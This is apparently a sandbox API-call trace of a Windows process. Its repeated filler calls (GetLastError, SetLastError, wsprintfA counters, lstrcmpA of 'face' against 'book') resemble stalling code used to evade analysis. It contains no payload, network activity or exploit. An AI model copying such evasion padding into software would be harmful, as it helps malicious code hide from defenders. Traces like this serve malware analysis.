[0134.483] GetLastError () returned 0x12 [0134.483] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="203C3P") returned 6 [0134.483] SetLastError (dwErrCode=0x12) [0134.483] GetCurrentProcessId () returned 0x79c [0134.483] GetLastError () returned 0x12 [0134.483] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="203C4P") returned 6 [0134.483] SetLastError (dwErrCode=0x12) [0134.483] GetCurrentProcessId () returned 0x79c [0134.483] GetCurrentProcessId () returned 0x79c [0134.483] GetCurrentProcessId () returned 0x79c [0134.483] GetCurrentProcessId () returned 0x79c [0134.483] lstrlenA (lpString="just string") returned 11 [0134.483] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.483] GetLastError () returned 0x12 [0134.483] GetLastError () returned 0x12 [0134.483] GetLastError () returned 0x12 [0134.483] GetLastError () returned 0x12 [0134.483] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.483] SetLastError (dwErrCode=0x12) [0134.484] GetCurrentProcess () returned 0xffffffff [0134.484] GetLastError () returned 0x12 [0134.484] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="204A8P") returned 6 [0134.484] SetLastError (dwErrCode=0x12) [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] GetCurrentProcess () returned 0xffffffff [0134.484] GetLastError () returned 0x12 [0134.484] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="204A9P") returned 6 [0134.484] SetLastError (dwErrCode=0x12) [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] GetLastError () returned 0x12 [0134.484] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="204AAP") returned 6 [0134.484] SetLastError (dwErrCode=0x12) [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] lstrlenA (lpString="just string") returned 11 [0134.484] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.484] GetLastError () returned 0x12 [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] lstrlenA (lpString="just string") returned 11 [0134.484] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.484] GetLastError () returned 0x12 [0134.484] GetCurrentProcess () returned 0xffffffff [0134.484] GetLastError () returned 0x12 [0134.484] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="2050DP") returned 6 [0134.484] SetLastError (dwErrCode=0x12) [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] GetLastError () returned 0x12 [0134.484] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="2050EP") returned 6 [0134.484] SetLastError (dwErrCode=0x12) [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] lstrlenA (lpString="just string") returned 11 [0134.484] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.484] GetLastError () returned 0x12 [0134.484] lstrlenA (lpString="just string") returned 11 [0134.484] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.484] GetLastError () returned 0x12 [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] GetCurrentProcessId () returned 0x79c [0134.484] lstrlenA (lpString="just string") returned 11 [0134.485] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.485] GetLastError () returned 0x12 [0134.485] lstrlenA (lpString="just string") returned 11 [0134.485] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.485] GetLastError () returned 0x12 [0134.485] GetCurrentProcessId () returned 0x79c [0134.485] GetCurrentProcessId () returned 0x79c [0134.485] lstrlenA (lpString="just string") returned 11 [0134.485] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.485] GetLastError () returned 0x12 [0134.485] GetCurrentProcess () returned 0xffffffff [0134.485] GetLastError () returned 0x12 [0134.485] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="205E9P") returned 6 [0134.485] SetLastError (dwErrCode=0x12) [0134.485] GetCurrentProcessId () returned 0x79c [0134.485] GetLastError () returned 0x12 [0134.485] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="205EAP") returned 6 [0134.485] SetLastError (dwErrCode=0x12) [0134.485] GetCurrentProcessId () returned 0x79c [0134.485] GetCurrentProcessId () returned 0x79c [0134.485] GetCurrentProcessId () returned 0x79c [0134.485] GetCurrentProcessId () returned 0x79c [0134.485] lstrlenA (lpString="just string") returned 11 [0134.485] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.485] GetLastError () returned 0x12 [0134.485] GetLastError () returned 0x12 [0134.485] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.485] SetLastError (dwErrCode=0x12) [0134.485] GetCurrentProcess () returned 0xffffffff [0134.485] GetLastError () returned 0x12 [0134.485] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="205F2P") returned 6 [0134.485] SetLastError (dwErrCode=0x12) [0134.485] GetCurrentProcessId () returned 0x79c [0134.485] GetCurrentProcess () returned 0xffffffff [0134.485] GetLastError () returned 0x12 [0134.485] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="205F3P") returned 6 [0134.485] SetLastError (dwErrCode=0x12) [0134.485] GetCurrentProcessId () returned 0x79c [0134.485] GetLastError () returned 0x12 [0134.485] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="205F4P") returned 6 [0134.485] SetLastError (dwErrCode=0x12) [0134.485] GetCurrentProcessId () returned 0x79c [0134.485] GetCurrentProcessId () returned 0x79c [0134.485] GetCurrentProcessId () returned 0x79c [0134.485] GetCurrentProcessId () returned 0x79c [0134.485] lstrlenA (lpString="just string") returned 11 [0134.485] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.485] GetLastError () returned 0x12 [0134.485] GetLastError () returned 0x12 [0134.485] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.485] SetLastError (dwErrCode=0x12) [0134.485] GetCurrentProcess () returned 0xffffffff [0134.485] GetLastError () returned 0x12 [0134.485] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20606P") returned 6 [0134.485] SetLastError (dwErrCode=0x12) [0134.485] GetCurrentProcessId () returned 0x79c [0134.485] GetCurrentProcess () returned 0xffffffff [0134.485] GetLastError () returned 0x12 [0134.485] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20607P") returned 6 [0134.486] SetLastError (dwErrCode=0x12) [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] GetLastError () returned 0x12 [0134.486] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20608P") returned 6 [0134.486] SetLastError (dwErrCode=0x12) [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] lstrlenA (lpString="just string") returned 11 [0134.486] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.486] GetLastError () returned 0x12 [0134.486] lstrlenA (lpString="just string") returned 11 [0134.486] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.486] GetLastError () returned 0x12 [0134.486] GetCurrentProcess () returned 0xffffffff [0134.486] GetLastError () returned 0x12 [0134.486] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20657P") returned 6 [0134.486] SetLastError (dwErrCode=0x12) [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] GetLastError () returned 0x12 [0134.486] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20658P") returned 6 [0134.486] SetLastError (dwErrCode=0x12) [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] lstrlenA (lpString="just string") returned 11 [0134.486] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.486] GetLastError () returned 0x12 [0134.486] GetLastError () returned 0x12 [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] lstrlenA (lpString="just string") returned 11 [0134.486] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.486] GetLastError () returned 0x12 [0134.486] GetLastError () returned 0x12 [0134.486] wsprintfA (in: param_1=0x246dd93, param_2="%X%P" | out: param_1="206A8P") returned 6 [0134.486] SetLastError (dwErrCode=0x12) [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] lstrlenA (lpString="just string") returned 11 [0134.486] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.486] GetLastError () returned 0x12 [0134.486] GetLastError () returned 0x12 [0134.486] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.486] SetLastError (dwErrCode=0x12) [0134.486] GetCurrentProcess () returned 0xffffffff [0134.486] GetLastError () returned 0x12 [0134.486] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="206CEP") returned 6 [0134.486] SetLastError (dwErrCode=0x12) [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] GetCurrentProcess () returned 0xffffffff [0134.486] GetLastError () returned 0x12 [0134.486] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="206CFP") returned 6 [0134.486] SetLastError (dwErrCode=0x12) [0134.486] GetCurrentProcessId () returned 0x79c [0134.486] GetLastError () returned 0x12 [0134.486] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="206D0P") returned 6 [0134.486] SetLastError (dwErrCode=0x12) [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] lstrlenA (lpString="just string") returned 11 [0134.487] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.487] GetLastError () returned 0x12 [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] lstrlenA (lpString="just string") returned 11 [0134.487] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.487] GetLastError () returned 0x12 [0134.487] GetLastError () returned 0x12 [0134.487] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.487] SetLastError (dwErrCode=0x12) [0134.487] GetCurrentProcess () returned 0xffffffff [0134.487] GetLastError () returned 0x12 [0134.487] wsprintfA (in: param_1=0x246e9c3, param_2="%X%P" | out: param_1="2071EP") returned 6 [0134.487] SetLastError (dwErrCode=0x12) [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] GetCurrentProcess () returned 0xffffffff [0134.487] GetLastError () returned 0x12 [0134.487] wsprintfA (in: param_1=0x246e9c3, param_2="%X%P" | out: param_1="2071FP") returned 6 [0134.487] SetLastError (dwErrCode=0x12) [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] GetLastError () returned 0x12 [0134.487] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20720P") returned 6 [0134.487] SetLastError (dwErrCode=0x12) [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] lstrlenA (lpString="just string") returned 11 [0134.487] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.487] GetLastError () returned 0x12 [0134.487] GetLastError () returned 0x12 [0134.487] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.487] SetLastError (dwErrCode=0x12) [0134.487] GetCurrentProcess () returned 0xffffffff [0134.487] GetLastError () returned 0x12 [0134.487] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20732P") returned 6 [0134.487] SetLastError (dwErrCode=0x12) [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] GetCurrentProcess () returned 0xffffffff [0134.487] GetLastError () returned 0x12 [0134.487] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20733P") returned 6 [0134.487] SetLastError (dwErrCode=0x12) [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] GetLastError () returned 0x12 [0134.487] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20734P") returned 6 [0134.487] SetLastError (dwErrCode=0x12) [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] GetCurrentProcessId () returned 0x79c [0134.487] lstrlenA (lpString="just string") returned 11 [0134.487] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.487] GetLastError () returned 0x12 [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] lstrlenA (lpString="just string") returned 11 [0134.488] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.488] GetLastError () returned 0x12 [0134.488] GetLastError () returned 0x12 [0134.488] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.488] SetLastError (dwErrCode=0x12) [0134.488] GetCurrentProcess () returned 0xffffffff [0134.488] GetLastError () returned 0x12 [0134.488] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="207AAP") returned 6 [0134.488] SetLastError (dwErrCode=0x12) [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] GetCurrentProcess () returned 0xffffffff [0134.488] GetLastError () returned 0x12 [0134.488] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="207ABP") returned 6 [0134.488] SetLastError (dwErrCode=0x12) [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] GetLastError () returned 0x12 [0134.488] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="207ACP") returned 6 [0134.488] SetLastError (dwErrCode=0x12) [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] lstrlenA (lpString="just string") returned 11 [0134.488] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.488] GetLastError () returned 0x12 [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] lstrlenA (lpString="just string") returned 11 [0134.488] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.488] GetLastError () returned 0x12 [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] lstrlenA (lpString="just string") returned 11 [0134.488] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.488] GetLastError () returned 0x12 [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] lstrlenA (lpString="just string") returned 11 [0134.488] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.488] GetLastError () returned 0x12 [0134.488] GetLastError () returned 0x12 [0134.488] GetLastError () returned 0x12 [0134.488] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.488] SetLastError (dwErrCode=0x12) [0134.488] GetCurrentProcess () returned 0xffffffff [0134.488] GetLastError () returned 0x12 [0134.488] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="2085EP") returned 6 [0134.488] SetLastError (dwErrCode=0x12) [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] GetCurrentProcess () returned 0xffffffff [0134.488] GetLastError () returned 0x12 [0134.488] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="2085FP") returned 6 [0134.488] SetLastError (dwErrCode=0x12) [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] GetLastError () returned 0x12 [0134.488] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20860P") returned 6 [0134.488] SetLastError (dwErrCode=0x12) [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] GetCurrentProcessId () returned 0x79c [0134.488] GetCurrentProcessId () returned 0x79c [0134.489] GetCurrentProcessId () returned 0x79c [0134.489] lstrlenA (lpString="just string") returned 11 [0134.489] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.489] GetLastError () returned 0x12 [0134.489] GetLastError () returned 0x12 [0134.489] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.489] SetLastError (dwErrCode=0x12) [0134.489] GetCurrentProcess () returned 0xffffffff [0134.489] GetLastError () returned 0x12 [0134.489] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20886P") returned 6 [0134.489] SetLastError (dwErrCode=0x12) [0134.489] GetCurrentProcessId () returned 0x79c [0134.489] GetCurrentProcess () returned 0xffffffff [0134.489] GetLastError () returned 0x12 [0134.489] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20887P") returned 6 [0134.489] SetLastError (dwErrCode=0x12) [0134.489] GetCurrentProcessId () returned 0x79c [0134.489] GetLastError () returned 0x12 [0134.489] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20888P") returned 6 [0134.489] SetLastError (dwErrCode=0x12) [0134.489] GetCurrentProcessId () returned 0x79c [0134.489] GetCurrentProcessId () returned 0x79c [0134.489] GetCurrentProcessId () returned 0x79c [0134.489] GetCurrentProcessId () returned 0x79c [0134.489] lstrlenA (lpString="just string") returned 11 [0134.489] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.489] GetLastError () returned 0x12 [0134.489] GetLastError () returned 0x12 [0134.489] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.489] SetLastError (dwErrCode=0x12) [0134.489] GetCurrentProcess () returned 0xffffffff [0134.489] GetLastError () returned 0x12 [0134.489] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="2089AP") returned 6 [0134.489] SetLastError (dwErrCode=0x12) [0134.489] GetCurrentProcessId () returned 0x79c [0134.489] GetCurrentProcess () returned 0xffffffff [0134.489] GetLastError () returned 0x12 [0134.489] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="2089BP") returned 6 [0134.489] SetLastError (dwErrCode=0x12) [0134.489] GetCurrentProcessId () returned 0x79c [0134.489] GetLastError () returned 0x12 [0134.489] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="2089CP") returned 6 [0134.489] SetLastError (dwErrCode=0x12) [0134.489] GetCurrentProcessId () returned 0x79c [0134.489] GetCurrentProcessId () returned 0x79c [0134.489] GetCurrentProcessId () returned 0x79c [0134.489] GetCurrentProcessId () returned 0x79c [0134.489] lstrlenA (lpString="just string") returned 11 [0134.489] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.489] GetLastError () returned 0x12 [0134.489] GetLastError () returned 0x12 [0134.489] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.489] SetLastError (dwErrCode=0x12) [0134.489] GetCurrentProcess () returned 0xffffffff [0134.489] GetLastError () returned 0x12 [0134.489] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="208E0P") returned 6 [0134.489] SetLastError (dwErrCode=0x12) [0134.489] GetCurrentProcessId () returned 0x79c [0134.490] GetCurrentProcess () returned 0xffffffff [0134.490] GetLastError () returned 0x12 [0134.490] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="208E1P") returned 6 [0134.490] SetLastError (dwErrCode=0x12) [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] GetLastError () returned 0x12 [0134.490] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="208E2P") returned 6 [0134.490] SetLastError (dwErrCode=0x12) [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] lstrlenA (lpString="just string") returned 11 [0134.490] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.490] GetLastError () returned 0x12 [0134.490] lstrlenA (lpString="just string") returned 11 [0134.490] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.490] GetLastError () returned 0x12 [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] lstrlenA (lpString="just string") returned 11 [0134.490] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.490] GetLastError () returned 0x12 [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] lstrlenA (lpString="just string") returned 11 [0134.490] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.490] GetLastError () returned 0x12 [0134.490] GetLastError () returned 0x12 [0134.490] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.490] SetLastError (dwErrCode=0x12) [0134.490] GetCurrentProcess () returned 0xffffffff [0134.490] GetLastError () returned 0x12 [0134.490] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="2098AP") returned 6 [0134.490] SetLastError (dwErrCode=0x12) [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] GetCurrentProcess () returned 0xffffffff [0134.490] GetLastError () returned 0x12 [0134.490] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="2098BP") returned 6 [0134.490] SetLastError (dwErrCode=0x12) [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] GetLastError () returned 0x12 [0134.490] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="2098CP") returned 6 [0134.490] SetLastError (dwErrCode=0x12) [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] lstrlenA (lpString="just string") returned 11 [0134.490] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.490] GetLastError () returned 0x12 [0134.490] GetCurrentProcessId () returned 0x79c [0134.490] lstrlenA (lpString="just string") returned 11 [0134.490] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.490] GetLastError () returned 0x12 [0134.490] GetLastError () returned 0x12 [0134.490] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.490] SetLastError (dwErrCode=0x12) [0134.490] GetCurrentProcess () returned 0xffffffff [0134.490] GetLastError () returned 0x12 [0134.490] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="209EEP") returned 6 [0134.491] SetLastError (dwErrCode=0x12) [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] GetCurrentProcess () returned 0xffffffff [0134.491] GetLastError () returned 0x12 [0134.491] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="209EFP") returned 6 [0134.491] SetLastError (dwErrCode=0x12) [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] GetLastError () returned 0x12 [0134.491] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="209F0P") returned 6 [0134.491] SetLastError (dwErrCode=0x12) [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] lstrlenA (lpString="just string") returned 11 [0134.491] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.491] GetLastError () returned 0x12 [0134.491] GetLastError () returned 0x12 [0134.491] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.491] SetLastError (dwErrCode=0x12) [0134.491] GetCurrentProcess () returned 0xffffffff [0134.491] GetLastError () returned 0x12 [0134.491] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20A52P") returned 6 [0134.491] SetLastError (dwErrCode=0x12) [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] GetCurrentProcess () returned 0xffffffff [0134.491] GetLastError () returned 0x12 [0134.491] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20A53P") returned 6 [0134.491] SetLastError (dwErrCode=0x12) [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] GetLastError () returned 0x12 [0134.491] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20A54P") returned 6 [0134.491] SetLastError (dwErrCode=0x12) [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] lstrlenA (lpString="just string") returned 11 [0134.491] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.491] GetLastError () returned 0x12 [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] lstrlenA (lpString="just string") returned 11 [0134.491] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.491] GetLastError () returned 0x12 [0134.491] GetLastError () returned 0x12 [0134.491] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20AD6P") returned 6 [0134.491] SetLastError (dwErrCode=0x12) [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] GetCurrentProcessId () returned 0x79c [0134.491] lstrlenA (lpString="just string") returned 11 [0134.491] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.491] GetLastError () returned 0x12 [0134.491] GetLastError () returned 0x12 [0134.491] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.492] SetLastError (dwErrCode=0x12) [0134.492] GetCurrentProcess () returned 0xffffffff [0134.492] GetLastError () returned 0x12 [0134.492] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20AFCP") returned 6 [0134.492] SetLastError (dwErrCode=0x12) [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] GetCurrentProcess () returned 0xffffffff [0134.492] GetLastError () returned 0x12 [0134.492] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20AFDP") returned 6 [0134.492] SetLastError (dwErrCode=0x12) [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] GetLastError () returned 0x12 [0134.492] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20AFEP") returned 6 [0134.492] SetLastError (dwErrCode=0x12) [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] lstrlenA (lpString="just string") returned 11 [0134.492] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.492] GetLastError () returned 0x12 [0134.492] GetLastError () returned 0x12 [0134.492] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.492] SetLastError (dwErrCode=0x12) [0134.492] GetCurrentProcess () returned 0xffffffff [0134.492] GetLastError () returned 0x12 [0134.492] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20B38P") returned 6 [0134.492] SetLastError (dwErrCode=0x12) [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] GetCurrentProcess () returned 0xffffffff [0134.492] GetLastError () returned 0x12 [0134.492] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20B39P") returned 6 [0134.492] SetLastError (dwErrCode=0x12) [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] GetLastError () returned 0x12 [0134.492] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20B3AP") returned 6 [0134.492] SetLastError (dwErrCode=0x12) [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] lstrlenA (lpString="just string") returned 11 [0134.492] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.492] GetLastError () returned 0x12 [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] lstrlenA (lpString="just string") returned 11 [0134.492] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.492] GetLastError () returned 0x12 [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] lstrlenA (lpString="just string") returned 11 [0134.492] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.492] GetLastError () returned 0x12 [0134.492] GetCurrentProcessId () returned 0x79c [0134.492] lstrlenA (lpString="just string") returned 11 [0134.492] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.493] GetLastError () returned 0x12 [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] lstrlenA (lpString="just string") returned 11 [0134.493] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.493] GetLastError () returned 0x12 [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] lstrlenA (lpString="just string") returned 11 [0134.493] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.493] GetLastError () returned 0x12 [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] lstrlenA (lpString="just string") returned 11 [0134.493] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.493] GetLastError () returned 0x12 [0134.493] 